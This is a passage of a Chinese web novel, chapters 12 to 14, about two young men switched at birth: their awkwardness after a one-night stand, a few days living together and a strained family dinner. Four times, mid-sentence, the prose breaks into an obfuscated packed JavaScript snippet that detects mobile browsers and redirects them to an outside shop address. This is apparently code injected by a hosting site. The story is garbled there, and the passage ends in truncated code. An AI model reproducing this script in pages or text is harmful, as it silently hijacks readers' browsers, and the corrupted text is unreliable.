程知蘅看着消息,愣了愣,缓缓打出一个问号。 他下意识回想起昨晚,他烧得意识模糊,祈琰替他轻轻刮掉眼泪,温声说“不疼了”。又想起午后两人面对面坐着吃午餐,他偏头耐心听自己说话,垂眸的时候笑着说“好”。 祈琰的确不是最热情的那种人,但冷漠孤僻二字,却不大贴切。 崔奇:【有个学妹之前追了他大半年,最后放弃了,说他心理有问题】 程知蘅:【?】 崔奇:【不过我估摸着,说心理有问题肯定是夸张的,但这人性格绝对好不到哪里去】 崔奇:【这种一辈子顺风顺水的人一般都自视很高,脑袋长头顶上,所以不讨人喜欢吧】 盯着这两条信息,程知蘅回了个“哦”,忽然开始发呆。 “一辈子顺风顺水”,“自视甚高”。 这话用来形容祈琰其实不大贴切,他却忽然想起自己。 在祈琰眼里,他会不会是这种人? 就在这时候,崔奇问:【这不会就是你那个ons的对象吧?】(ons:一夜情缩写) 程知蘅本来心里就有鬼,看到这条消息,像ptsd一样,一下子把手机丢了出去。 程知蘅:! 他是怎么看出来的?? 吗的那不靠谱的邹柏宇又把他的事情到处乱说! 他此地无银三百两地回复:【我靠这是邹柏宇和你说的???】 崔奇:【对啊,他说打不通你电话,就来问我你有没有跟我说,一下说漏嘴了】 崔奇:【别害羞啊蘅儿】 崔奇:【[动画表情]】 崔奇:【听说这个消息,哥很欣慰,真的】 程知蘅差点把牙关咬碎,终于忍无可忍地按灭了手机。 这时候天色已经很暗了,室内没开灯,程知蘅就这么躺在沙发上,本来就别扭,这么一下,心情又开始有点不大好。 他蜷缩成一团,神色有些落寞,盯着手机发呆。 另一边,祈琰下了班,坐地铁到小区附近,顺便在楼下小超市买了一盒鸡翅一大瓶牛奶。 老板娘认识他,结账的时候聊了两句:“今天回来这么早?奶奶怎么样了?” “还在医院。”祈琰伸手接过袋子,摇了摇头,“不太好。” 老板娘也不知道该怎么宽慰他,只说:“没事儿,老人家年纪大了,你陪着她,无论怎样她都开心的。” 祈琰点了点头。 “你胃最近好点了吗?鸡翅别炸着吃啊,当心身体。”老板娘又说,“小年轻,别不当回事。再大半夜的送医院,我都要吓死了。” “老样子吧。”祈琰淡淡礼节性的笑了一下,看了一眼鸡翅说,“这我不吃,家里来了客人,我做给他吃的。” “哦?客人?”老板娘显得有点惊讶,“亲戚?” 祈琰“嗯”了一声:“来了个小朋友。” 等到天彻底黑透的时候祈琰终于回到家,他抬手,“啪”一声打开了客厅刺眼的主灯。 随着灯光打开,冷白的光线瞬间倾泻而下,映亮了沙发上蜷缩成一小团的身影。 程知蘅怀里紧紧搂着个软乎乎的抱枕,半边脸颊埋在里面,猫儿似的缩在沙发一角,已然睡熟了。 暖色的廊灯光线柔柔地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984475|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺洒在他身上,将他那头柔软的栗色头发晕染出一圈毛茸茸的光边。 看见他睡着,祈琰几乎是下意识地,立刻按灭了客厅主灯,只留下那盏光线昏黄的廊灯。 突如其来的光线变化让睡梦中的程知蘅无意识地动了动,长睫毛颤动了一下,却没有醒来。 祈琰也不换鞋,就这么静立在玄关的阴影里,隔着几步的距离,默不作声地盯着程知蘅看。 深邃的眼眸里情绪难辨,不知道在想些什么。 深夜回家,他从来都是独自一人,都快忘记家里还有另外一个人是什么感觉了。 如果非要说,那就是在意外之前。那时候他在学校自习到很晚回家,妈妈会做一桌夜宵放在桌子上,爸爸则开电视等着,一走进屋子满是饭菜香气。他总会回房间看错题,这时候爸爸会把他从书桌旁撕下来,非逼着他看电视放松一下不可。 现在看来一切都是有端倪的。他母亲就是一头柔软的栗发,琥珀色的眼睛,和程知蘅一样,笑容是软的,脸颊也是软的。 心脏像是被一只无形的手狠狠攥紧,猝不及防地抽痛了一下。那些曾经习以为常的美好,如今回想,只剩下凌迟般的钝痛。 祈琰敛眉瞧着程知蘅,觉得自己拿他真是一点办法都没有。 他迈步走向卧室,动作很轻地拿出一床更厚实的羽绒被,接着折返客厅,跟照顾祖宗似的,又得把人好好儿抱起来丢回床上去。 从昨夜的情况来看,程知蘅睡觉不怎么老实。祈琰给他里三层外三层裹上被子,生怕这讨债鬼再发一夜的烧,一会儿喊冷,一会儿喊疼,一会儿抱着他的胳膊不松手,又扒拉他衣服领子。 祈琰俯身,一手穿过他的膝弯,另一只手托住他的后背,轻轻巧巧的,将他连同被子一起打横抱了起来。 好在这一回程知蘅睡得安稳。祈琰把他抱起来的时候,他只在祈琰臂弯里蹭了蹭,寻了个更舒适的位置,便把脑袋安安静静地靠在了祈琰的肩窝处。 他的呼吸清浅均匀地拂过祈琰颈侧的皮肤,带着点温热的痒意。一只手指尖还无意识地轻轻揪着祈琰家居服的袖口,力道不大,却存在感鲜明。 直到被稳妥地安置在床铺中央,陷进柔软的枕头里,程知蘅那只揪着袖口的手依然没有松开。 祈琰试着稍稍动了一下手臂,那纤细的手指反而揪得更紧了些,睡梦中的人还发出了一声模糊不清的鼻音,像是抗议。 他怕硬拽把人闹醒了,只好在床边坐下。 家里很安静,光线昏黄,祈琰的目光不由得落在程知蘅脸上。他就这样毫无防备,温顺无害地躺在他的手边,睡得呼吸绵长。 就这么一会儿的功夫,祈琰莫名其妙想起第一次见面的时候程知蘅问他的话。 “你说,那个被抱错的婴儿,我抢了他的人生,他会不会特别讨厌我啊……” 祈琰蹙了蹙眉毛,有点自暴自弃地心想,怎么可能讨厌得起来呢。 最爱的人的亲生孩子,一颦一笑都一模一样,他每多看一眼都只觉得心疼。 12. 第 12 章 接下来的几天,程知蘅就这么蹭在祈琰家没离开。 他最终也没发出去那条不知道如何编辑的短信,但不想联系爸妈,也不敢回自己家,所幸祈琰也不赶人,于是他就这么住了下来。 虽然住一起,但两人见面的时候并不多,程知蘅生病,理所当然地晚起,每次都是祈琰做好午饭喊他,两人吃了饭,祈琰又不知去哪里了。 他看得出来祈琰很忙,要去实验室,工作日里还有三天半要去公司实习。程知蘅委婉地提出既然他那么忙就可以不用做午饭了,他自己可以点外卖,祈琰不置可否,第二天还是照样做了饭。 他做饭好吃,既然如此,程知蘅也不好意思推辞了。 没事干的时候程知蘅出去会了好几个老朋友,有时候跑到医院去陪奶奶唠嗑,日子居然还过得挺充实,没过多久,他的病就好了个七七八八,甚至被祈琰养胖了两斤。除了还有点咳嗽之外,跟之前相比毫无区别,又变回笑容满面的样子。 住得舒服,伤也好了,他很快就把之前的一夜情抛在脑后。 在程知蘅看来,尴尬得让人脚趾抠地的事情,适时该忘记就忘掉吧,总不能一辈子背着这么个包袱。 好在祈琰也和他很有默契,两人在之后的几天中,再也没有重新提到过那件事。 然而这时候,辗转多方,程父程母知道了程知蘅住在祈琰家里。 程知蘅打小不是让人操心的孩子,这还是头次“离家出走”。程父程母找人找得焦头烂额,一开始想着找到之后一定要狠狠骂一顿,等真的找到,反而不好意思当面对峙了,担心程知蘅反应过度又跑到找不着的地方去。 他俩商量了很久,最终还是觉得亲生的便宜儿子靠谱,于是给祈琰发了消息打了钱,拜托他这段时间好好照顾弟弟。 巧的是,收到消息的时候他俩正好在一起,还刚吃完晚饭。 前一天程知蘅念叨了一整天说想吃可乐鸡翅,这时候正坐在桌子边上嗦鸡骨头,祈琰已经吃完了,正坐在餐桌上用电脑整理数据。 朝夕相处好几天,又都是年轻人,之前的尴尬没过多久就被抛到脑后了。他俩熟络很多,程知蘅是又是最安静不下来的性子,一边吃一边念叨一些零碎琐事,祈琰坐在一边做自己的事,时不时“嗯”一声,评论两句。 两人正巧聊到名字。 “你为什么叫程知蘅?”祈琰问。 “得了,我知道你想说什么,就说像女孩儿的名字呗。”程知蘅扑哧一声笑出声,“你别幸灾乐祸,这本来该是你的名字。” 祈琰盯着电脑看,本来板着脸,这时候神色也缓和了一点:“你别指望跟我交换。” 程知蘅也乐了,笑了好一会儿:“我没说要跟你换!” 祈琰也乐了,看了他一眼,笑道:“乖乖。” 程知蘅最忌讳同龄人喊他乖乖,这下是真怒了,他边伸手要去锤祈琰,边佯怒道:“说得跟你没个小名似的,琰琰。” 祈琰显然是开玩笑,程知蘅自然也没真生气,两人闹完,他还觉得有点隐秘的高兴。祈琰这人居然也能开玩笑,说明就算是块冰山,熟了多少也能捂化一点。 闹完他终于坐了下来,正经解释了自己的名字:“你爸妈一开始给我取的本来叫程知恒,谐音是志恒,就是持之以恒意志坚定的意思。五岁的时候给我算出来五行缺木,就改成知蘅了。有点像女孩子的名字吧,小时候有人会觉得我是女生,我还挺尴尬的……” 祈琰的手机随便丢在一旁,正巧是程知蘅能能看见的角度,程知蘅这句话刚说完,手机震动了一下,弹出一条五万块的转账。 到底是相对大金额的转账,程知蘅也不是故意看,一转头就瞟到了。 他也不管人家的闲事,正要抽回目光,余光却一下子瞥到转账人备注。 程馥文。 程知蘅眯了眯眼睛,这时候顾不上管礼貌不礼貌了,一下子抓过手机,往上一翻,就看见他妈给祈琰发的一长段拜托他照顾程知蘅的消息。 程知蘅:??!!! 他嗓子还剩下一点没好全,看清消息后猝不及防爆发出一阵惊天动地的呛咳,差点没把鸡骨头吞进去。 祈琰也被程知蘅的反应吓了一大跳,赶紧伸手给程知蘅拍背,怕他把自己给呛死。 这时候他才发现了程知蘅拿着他的手机。 他忙得焦头烂额,也不把手机抢回来,边坐回电脑跟前边问:“你看什么呢?” 他看电脑的时候鼻梁上架了蓝光眼镜,眼镜反光,显得他气质更冷了一点。 程知蘅犹豫了一下,还是照实说了:“我妈发现我在这儿了,还给你转了五万块。” 祈琰这下终于回头了,他皱了皱眉,从程知蘅手里接过手机。 他定睛看了半晌消息,沉默了。 那条长信息里程母很不留情面地批评了程知蘅,说他幼稚小孩子脾气,让祈琰多担待点,有什么困难或者吵架了,随时和他们说。 被当着面这样说,多少有点挂不住面子。 程知蘅这时候脸色有点难看,一抬头,发现祈琰在看他,又不好意思冷着脸了,只好崩溃地开口:“怎么办啊……我真不知道怎么面对他们。” 他声音有点小,显然是真愁。 祈琰还是没说话,沉默良久才说:“话说开就好了,别自己给自己心理压力。他们真挺疼你的,不会生气。” 程知蘅满脸愁,看起来有一肚子话要说,但是犹豫许久,最后还是一个字都没说出来。 刚才气氛还很轻松,这条本该温暖人心的大额转账却一下子让好不容易活跃起来的氛围又一次降至冰点。 祈琰也不知道怎么说。他本来就话少,于是两个人就僵在这里。 程知蘅想了很久,终于开口:“要不然,我还是搬走吧。一直住这儿确实挺麻烦你的。之前不敢走,也是怕被我爸妈发现,现在反正都知道了,我真不好麻烦你了。” 说完这句话,室内忽然静得连针掉地上都听得见。 祈琰脊背僵了僵,半晌没说话,还是程知蘅重复了一遍,他才微微抬头。 “那你住哪儿?”他问。 说真的,程知蘅之前没考虑过之后该怎样。但祈琰问了,他也只好硬着头皮回答。 他断断续续现想,回答道:“我……要不先到我朋友家住两天吧。我俩好不容易都有空,还能出去玩一圈……等回来我就搬回我之前住的公寓好了。” “你不住你爸妈家?” “不住。其实我每次回来都是一个人住CBD那边的酒店公寓。”程知蘅说完,又多解释了几句,“……一开始也和我爸妈住一起,但放假嘛,我就总起很晚然后从早到晚躺着,过久了我爸妈都看不惯我,惹不起我还躲不起么,就自己住了。” 祈琰点了点头,脸上依旧没什么表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984476|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你去吧。” 他说这话的时候一直打字,都没侧过头来看程知蘅。 几句话的功夫,他好像又变回那个冷冰冰的陌生人。 “你呢?”程知蘅问,“爸妈和你说了你之后的安排么?” 祈琰长长地阖了一下眼睛,伸手捏了捏鼻梁,睫毛长长的垂下来,显得很累。 他叹了口气,很轻又很冷淡地丢下一句:“我不知道。” 程知蘅没注意到他的情绪,问:“你怎么了,不舒服吗?” 祈琰张了张嘴,脸色有点发白。但他说:“没事。” “快回家吧,别让你爸妈担心。” 你爸妈。 这几天提到爸妈这两个字的时候,程知蘅一直很小心地没加“你我”。说实在的,他也不知道该说“你爸妈”还是“我爸妈”。 但这时候,祈琰又一次语句清晰地说,“你爸妈”。边界清楚,泾渭分明。 事情发生也许久了,他好像真的从来没把自己当程家人。 这下程知蘅就是再粗神经,也意识到祈琰心情不好了。 大概是因为刚才那条短信,他心想。 打钱是应当的,但是拜托完祈琰照顾他,又打钱,这算什么?拿他当保姆么?实在不合适。 程馥文那条短信很长,表面上是在细数程知蘅的缺点,拜托祈琰照顾,实则就算是瞎子也看得出来她字字关心,慈母情怀。她很小心地照顾祈琰的心情,却有点过了——如果真的关系亲近,根本用不着那么小心。 于是,程知蘅理所应当地觉得,祈琰不高兴,是因为生他爸妈的气了。 程知蘅看着祈琰板着脸就想逗他高兴,又怕说错了话更惹他不快,只好道歉:“对不起啊,都怪我。怪我不肯回家非要躲在你这里。你别生爸妈的气,也别生我的气。” 他没说完,祈琰就打断了:“我没生气。” 他说完站起身,合上电脑:“我累了,回房间睡一会儿。你收拾完就走吧,不用再和我说了。” 人家祈琰态度都摆在这儿,按照正常人的脑回路,这时候就该识趣闭嘴了。 但如果会和正常人相同,程知蘅也就不是程知蘅了。 看见祈琰要走,他当即不干了,站起身来也拖住祈琰的袖子,嘟着嘴软声说:“诶诶诶,话说不明白不许走!怎么就累了,看电脑不累,工作不累,就和我说话累是么?” 祈琰大概也没想到事情会是这个走向,只好放下电脑,有点无奈的,试图把袖子从程知蘅手里揪出来。 谁知道程知蘅手劲还挺大,祈琰轻易扒拉不下来。他低头一看程知蘅那又白又细的手腕子,如果要用力,真怕给他掰断了,于是只好作罢。 他站在原地,叹气说:“没有。” 程知蘅撅了撅嘴:“那你不许生气。” 他装正经装得很不像样,大眼睛蹬得溜圆,红润的嘴唇一张一合的,知道的是他在威胁人不准生气,不知道的还以为是撒娇。 祈琰又叹一口气:“我没生气。” 程知蘅:“那你别冷着脸。” 祈琰这下是真气笑了,无奈道:“我就长这样。” 程知蘅也没憋住笑,扑哧一声:“好吧。” 笑归笑,他还没松开人家祈琰的袖子。 祈琰试图提了提袖子,没提出来,三叹气道:“别拽着了,少爷,还有什么事?” 13. 第 13 章 程知蘅低下头认真想了想,抬头认真嘱咐:“妈打的钱你收着哈,但我真不打扰你了,你忙得自己都照顾不过来还得照顾我,我真觉得我再住下去你人都得瘦。” “不过,我觉得咱俩性格还挺合的,下次再一起约着出来玩吧,行么?” 说完他又抬头看祈琰,眼睛亮晶晶的。 祈琰正要回答,程知蘅却忽然想到什么似的,脸色微变,很急地补充了一句:“玩别的什么都可以,约炮就算了。“ 身上伤还没好,上药的过程历历在目,程知蘅有点后怕似的缩了缩头,咽下去了最后一句没说出口的评价—— 太他妈折磨人了。 - 一个多月眨眼就过。 “喂,老邹啊……不行我现在上不了,正出门吃午饭呢……”程知蘅从商场B1的拥挤就餐人群中穿过,边走边打电话。 电话那头的邹柏宇不知道说了什么,程知蘅撇了撇嘴,不满道:“这个点吃午饭怎么了人家写字楼精英都是这个点吃饭!” “人家精英是加班到这个点,你是么?你纯睡到这个点。” “邹柏宇你少说两句话别人也不会觉得你是哑巴。”程知蘅危笑。 邹柏宇打了个哈哈,又问:“那明天呢?明天有没有空?” “明天也没空,你记得我之前跟你说要和我爸妈聚餐吗?” “嗯。” “拖了一个半月,终于拖不下去了。所以明天我要回家,没空。” 说到这里,程知蘅忽然瞧见他想吃的,于是终结了这段简单的电话:“我不跟你说了,我打算去买杯糖水,跟你说,排队的人已经排出二里地了。” 从祈琰家搬出来之后程知蘅去邹柏宇家里蹭住完两天,就回了自己在昭悦府的公寓住,一住就是小两个月。这个公寓位置极佳,江景落地窗,下个楼就是CBD金融城,吃饭游玩逛街一条龙,程知蘅住得乐不思蜀。 其实自从住回这里以来,他还几乎没怎么出门吃过午饭——一个人住难免作息紊乱一点,他一般都睡到一两点,外卖直接点到家。 然而这一周也不知道是不是因为换季着了凉还是什么别的缘故,他总觉得整个人恹恹的。不仅食欲欠佳看什么都没胃口,还总是犯困。 于是为了醒醒困,他特意往人堆里扎,到了人家写字楼办公族吃午饭的B1来觅食。 这个点其实已经过了下班午休高峰期,但B1各个小饭馆里还是人满为患,程知蘅不喜欢和人挤,虽然很馋那碗糖水,但是对人潮的恐惧依旧战胜了美食的诱惑力,他掉头就往外走,计划依旧回家点外卖。 迎面路过一家卖猪肘的,油点子差点没溅进程知蘅眼睛里。看着油光水亮的肉,程知蘅忽然一阵反胃,往后倒退一大步。 谁知这一没看路,他“砰”的一下就撞进了一个男人怀里。 “对不起对不起对不起!!”程知蘅赶忙往后退,慌里慌张的连声道歉。 边道歉边按着胃,显得脸色有点发白。 程知蘅觉得自己不在状态,闻着这油腻的味道越闻越恶心,掉头就要跑,谁知身后忽然传来一声低沉又带有疑惑的声音:“程知蘅?” 程知蘅:?在这里能碰上什么熟人? 他一回头,这才发现,叫他名字的不是别人,而是一个半月没见的祈琰。 只见祈琰一身挺正式的打扮,他又高,顿时给人一种生人勿近的气场,程知蘅之前看惯了他在家穿家居服的样子,一时有点不敢认。 也真是巧,两人每次见到彼此都是偶遇。 之前程知蘅虽然随口说过一次要再约,但是人一犯懒就想不起来之前说过的话,这么一来二去也搁置了。 两人一个多月没见,先前一起住那几天好不容易刷出来的熟悉感又降低了很多。本来也只有几面之缘,关系不维护,就几乎回到陌生人的状态。 好在有了之前的经历,这次程知蘅不如前一次的应激反应那么大,只是因为被吓了一跳心脏狂跳,稍微稳了稳后他开口问:“你怎么在这儿?” “我在这儿实习。” 祈琰说着,眼神盯着程知蘅按着胃的手,像是看穿了他的不适,问:“你还好吗?我看你脸色很糟糕。” “我没事啊。”程知蘅自己觉得没什么问题,反倒是惊讶怎么在这里碰见祈琰,“你在这儿实习??什么时候开始的?” “我实习了三个月了,”祈琰皱着眉问,“你真没事?” 话音落下,程知蘅眼睛瞪大了,看起来很震惊。 “你实习三个月了??天呐怎么这么巧,我一直住楼上,怎么从没碰见过你?” 祈琰摇了摇头,示意自己也不知道为什么。 这时候,程知蘅忽然想起另一桩事:“诶,我们是明天约在别墅吃饭,对吧?晚上?” “对。”祈琰点了点头。 两人说的午饭,自然就是一个多月前程知蘅逃掉,又改期在明日的那个聚餐。 一顿简单的阖家团聚饭能拖这么久,也真是够行的,不过这倒真还不能全怪程知蘅。 程知蘅当然不可能一辈子不和程父程母讲话,刚搬回昭悦府之后就诚恳地发了消息,道了歉,说准备好就能一起吃饭。 之前不愿意出来,一是怕见到祈琰,二是怕同时见到祈琰和他爸妈。人家一大家子,就他一个外人,总觉得氛围怪异。 但后来其他更糟糕的事情也发生了,对比之下,吃顿饭也就显得根本不算什么,而且和祈琰稍微熟络了点,没之前那么害怕了。 谁知道,程知蘅这边好不容易准备好了,祈琰那边又出了空子。他说有个项目最近要结题,忙得成天睡在实验室,外加还要实习,所以没空出来聚餐,让等等,这一等,程母又忙了起来,这么每个人轮流拖来拖去,一眨眼就是将近两个月。 总算圈定了日子,定在周六晚上在程家的一间别墅里聚餐,程父程母亲自下厨。 为了整齐赴宴,程知蘅还特地出门理了个发。 也是巧,正好在聚餐的前一天撞见了许久没见的祈琰,程知蘅理所当然提起这件事。 “那你学校的事情忙完了?”程知蘅没话找话。 “忙完了。” 程知蘅算了算,感叹道:“天呐,这里离你家可够远的,你每天到这里实习,通勤要多久?” 祈琰:“坐地铁的话,一个半小时吧。怎么?” 程知蘅摇了摇头,意思是自己随口感叹而已,接着又问道:“你是在哪家公司?做什么呀?” 祈琰报出个很耳熟能详的公司名和一个很热门的岗位,貌似和他的专业不大沾边,不过程知蘅不怎么懂,只夸了句厉害就大声惊叹:“天呐,那岂不是就在这栋楼里?” 连说了三句“天呐”犹嫌不足,程知蘅又说:“你要是早说你在这里实习,我就邀请你来我们家住了,上班只要下个楼。” 祈琰点了点头,不置可否。 程知蘅依旧不肯承认自己身体不舒服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984477|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈琰则看起来急着回工位,于是撂下一句不冷不热的告别就离开了。 程知蘅冲着他挥挥手,看着祈琰的身影消失在视线内。 次日,程家别墅。 正巧是周六晚上,别墅灯火通明,跨过小花园,能看见温馨的灯光从落地窗的窗帘后透过来。 程知蘅站在门外,深吸了一口气,才伸手按响门铃。 许久没回家,他还特意打扮了一下,穿了一身挺人模人样的大logo浅色运动套装,踩了一双很抢视线的鞋子。 门几乎是立刻就被打开了。 “来了来了!”程父程修永系着围裙,脸上带着笑,“总算回来了。” 程知蘅也笑了,他和程父关系一直很好。 “乖乖到了吗!”未见其人,先闻其声,母亲程馥文的声音从里面传来。 没等程知蘅反应过来,就见程母她快步走到门口,一把拉住程知蘅的手腕把他拽进屋,语气带着点不易察觉的急切,“快进来,就等你了!” 程修永笑出了声,伸手敲了一下程知蘅的额头:“你妈可想你了,你这么久不回来,我们都担心坏了。” 玄关换鞋的功夫,程知蘅一眼就看到了坐在客厅沙发上的祈琰。 他穿着简单的纯色外套,正低头看着手机屏幕。听到动静,他抬起头,目光平静地落在程知蘅身上,几不可见地点了下头,算是打过招呼,然后又低下头去。 冷淡得一如既往。 许久没和祈琰正经见面,外加昨天虽然碰上了却没机会好好说话,程知蘅心里本来有那么一点小小雀跃,却瞬间被这眼神浇熄了大半。 脱离了祈家的那间昏黄小屋,他们仿佛又回到从没认识之前。 他想起别人说祈琰冷淡疏离,原本以为只是谣言,现在想来竟然真是如此。 “来来来,快坐,菜都要凉了!”程父招呼着,解下围裙。 餐厅里,巨大的圆形餐桌上摆满了菜,热气腾腾,香气四溢。中间是一大盆程父拿手的红烧肉,油光锃亮,旁边摆着清蒸鱼、油焖大虾,还有几道清爽的时蔬。很明显,程父程母花了大力气,想把这场迟到了许久的聚餐弄得圆满。 四人落座,程知蘅和祈琰不可避免地坐在了面对面。 气氛有那么一丝微妙的凝滞。 “来,乖乖,尝尝这个,你爸特意为了做的,你不是总发消息嚷嚷着想吃吗。”程馥文夹了一大块红烧肉放到程知蘅碗里,又转向祈琰,语气更小心了些,“小琰,你也吃,不知道这些菜合不合你口味……” “谢谢。”祈琰拿起筷子。 程修永轻咳一声,试图活跃气氛:“乖乖,最近怎么样?” 程知蘅扒拉着碗里的肉,含糊地回答:“还行,就那样……” 程修永点了点头,又拍了拍程知蘅的手背,笑着问:“是不是好久没见到你祈琰哥哥了?你们俩打招呼没有?” 程知蘅本来急着吃东西,全心全意都放在红烧肉身上,谁知道程父忽然问这个敏感问题。 “祈琰哥哥”这几个字像钥匙,猝不及防地打开了他刻意封锁的记忆闸门——一个月前那个醉得昏天暗地的夜晚,某些早该被遗忘的片段排山倒海般涌来。 他下意识抬眼,却又正正撞进祈琰那双深不见底的黑眸里。 “咳咳咳咳———” 程知蘅还没来得及开口,就被呛得惊天动地。程父话音还没落,他已经噎得满脸通红,差点没把整个肺都咳出来。 14. 第 14 章 “啊呀这是怎么了?” 程父也被吓了一跳,没想到这么一个简单的问题引起来这么严重的应激反应。 他一边赶忙上前来替程知蘅拍背,一边满脸疑惑:“怎么了,呛成这样?” 听见他这边的动静,祈琰也抬起头来,目光轻轻放在程知蘅身上,似乎也在等他的回答。 程知蘅边咳边摆手,也不知道是示意自己没事还是想赶紧揭过这个尴尬的问题。 他好不容易止住了咳嗽,又被程馥文数落了好几句“细嚼慢咽”,才终于再次坐定。 他可怜兮兮地瞪着眼睛把程父程母打量了一圈,心说你俩不是早知道答案吗,明知故问,害我吓一大跳。 心里想是这样,不过他表面还是没表现出来。他伸手刮了刮鼻子,显得有点尴尬:“不好意思,吃快了……”他歪头看了祈琰一眼,补充说,“其实不是第一次见,之前我去探望徐奶奶的时候碰见祈琰了,还去他家住了两天。” 程馥文满意地点了点头:“哎呀看见你俩相处得好我就放心了。” 她深吸一口气,像是下定了决心,脸上堆起笑容,声音放得格外柔和:“你看,现在这样多好,我们一家人总算齐整地坐在一起吃顿饭了。” 她目光在程知蘅和祈琰脸上来回扫过,带着小心翼翼的期盼:“妈妈有个想法啊……你看,小琰现在一个人住家里,爸妈实在是不放心。要不然这样,咱们都住回来,反正这里位置还行,房间也多,咱们一家四口每天回家吃顿饭……” 她顿了顿,观察着两个儿子的神色,继续说:“这样你们兄弟俩互相也能有个照应。以后……以后我们就是真正的一家人。” 这话说完,饭桌上彻底安静了。 程知蘅猛地抬起头,看向母亲,又下意识看向对面的祈琰。 程馥文眼里那份近乎恳求的心疼,像根细针,轻轻扎了他一下。她是在努力弥补,想把失散的儿子拉回这个家,用她所能想到的最好方式。 但是这个要求对于程知蘅来说,实在是很为难。 虽说和祈琰不算合不来,但是要想住一起又是完全另一回事,更何况还是和爸妈一起。 不过是一顿晚饭,都如临大敌成这样,更不要说彻底搬回来住了。 程知蘅握着筷子的手指微微收紧,答应的话说不出口,拒绝的话也说不出口,就这样僵在了原地。 他僵硬地转过头,很小心翼翼地往祈琰那边瞄他的反应。 祈琰的脸色倒是如常。 也不知道是不是察觉到程知蘅的视线,他抬起眼,目光平静地看向程馥文,语气礼貌却不容置疑:“谢谢您的好意。不过不用了。” 他顿了顿,又补充道:“我有时候也住学校宿舍,有室友,住家里主要是因为校区太远,平时为了实习方便点。这边程知蘅住好了,我住过来也太不合适。” 理由充分,无可指摘。 程知蘅长舒一口气,有祈琰替他拒绝就好多了,这样不用自己开口。 然而当他一偏头,看见母亲脸上那瞬间黯淡下去、却又强撑着不想表露出来的失落,心里像是被什么东西堵住了,闷得发慌。 他确实是想拒绝的,但祈琰真替他说出口了,他心里又觉得不怎么好受。 毕竟是日夜相处了二十几年的母子,程知蘅心里再明白不过,程馥文是想弥补这个这么多年没疼过的儿子的。 倘若他亲生父母还活着,那么两家或许可以粉饰太平将错就错,可偏偏,祈家夫妇过世了。这时候于情于理,祈琰都是该回到程家来的。 程家有能力、也有这份心支持他,爱护他。 可他偏偏不愿意。 虽说在程知蘅面前没表示过,但是两个月了,祈琰看起来和程父程母依旧很疏离的样子,就知道他们私下也没聚过。程父程母不可能没邀请,唯一的可能性是,祈琰自己不愿意见。 程知蘅看着祈琰冷淡的侧脸,想起那天他照看自己奶奶时的无微不至,想起他在狭小的房子里穿梭,进门关的时候还得低头,心里猝不及防一酸。 那个住在别墅里无忧无虑长大,可以随时随地对着父母撒娇,不用自己做饭、自己照顾自己,不用坐地铁一个半小时跨越小半个城市通勤的人,本该是他。 他犹豫了很久,开口提议:“要不然,祈琰还是住回来吧。我就不住了,你们三个住一起,也好培养一下感情。” “或者,如果祈琰觉得和爸妈住有点不方便的话,也可以住昭悦府。我昨天买午饭碰见祈琰了,他就在楼下实习,住那里再方便不过了,去医院也方便。” 程知蘅话音落下,餐桌上有片刻的寂静。 程馥文眼睛微微一亮,显然对这个提议很满意。她想要的就是两个孩子能互相照应,祈琰一个人住在外面,她总是不放心。 “我觉得可以,”程馥文语气轻快了些,“你们年轻人跟爸妈住确实不自在。你们两个一起住也行,互相有个照应,我们也能放心些。” 程修永点头表示赞同:“这么安排确实不错。不过你们两个大男生住,昭悦府那个公寓会不会小了点?” “是小了点,”程知蘅点头,随即语出惊人,“但我没说要和他一起住啊。我搬出去住祈琰家,他住我那边,这样不行吗?” “什么?” “什么???” 反对的声音从四面八方袭来。 程修永惊讶地睁大眼睛:“你住祈琰家?这怎么合适!” 程馥文眉头紧皱:“昭悦府一百二十平小什么小?要么你和哥哥一起住,不然就给我搬回来住!” 程知蘅最是吃不了苦,主动提出要住旧房子,这太反常了。程馥文心里警铃大作,生怕这孩子又在打什么歪主意。 程知蘅确实没打算和祈琰同住。他绕这么大圈子,真正的目的就是把昭悦府的公寓让给祈琰。 “两个人住不下!”他摆手大声辩解,“我要自己住。祈琰那房子空着也是空着,我住了两天觉得挺好。反正祈琰也没意见,对吧祈琰?” 他把脑袋凑到祈琰跟前,拼命使眼色。可祈琰只是垂着眼眸,冷着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 